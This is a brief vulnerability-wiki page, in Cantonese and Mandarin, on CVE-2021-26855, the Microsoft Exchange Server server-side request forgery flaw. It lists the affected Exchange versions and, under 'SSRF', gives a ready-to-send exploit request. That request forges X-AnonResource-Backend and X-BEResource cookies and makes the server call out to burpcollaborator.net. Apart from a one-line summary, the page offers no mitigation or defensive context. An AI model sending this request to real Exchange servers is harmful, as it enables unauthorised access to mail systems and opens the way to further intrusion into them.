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CVE-2021-26855 – Exchange Server SSRF漏洞/yue

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漏洞简介

Exchange服务器端请求伪造（SSRF）漏洞，利用呢个漏洞嘅攻击者可以发送任意HTTP请求并通过Exchange Server进行身份验证。

影响范围

Microsoft Exchange Server: 2010

Microsoft Exchange Server: 2013

Microsoft Exchange Server: 2016

Microsoft Exchange Server: 2019

SSRF

GET /owa/auth/x.js HTTP/1.1
Host: 0.0.0.0
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Cookie: X-AnonResource=true; X-AnonResource-Backend=burpcollaborator.net/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;
Accept-Language: en
Connection: close

档案:Ssrf.jpg

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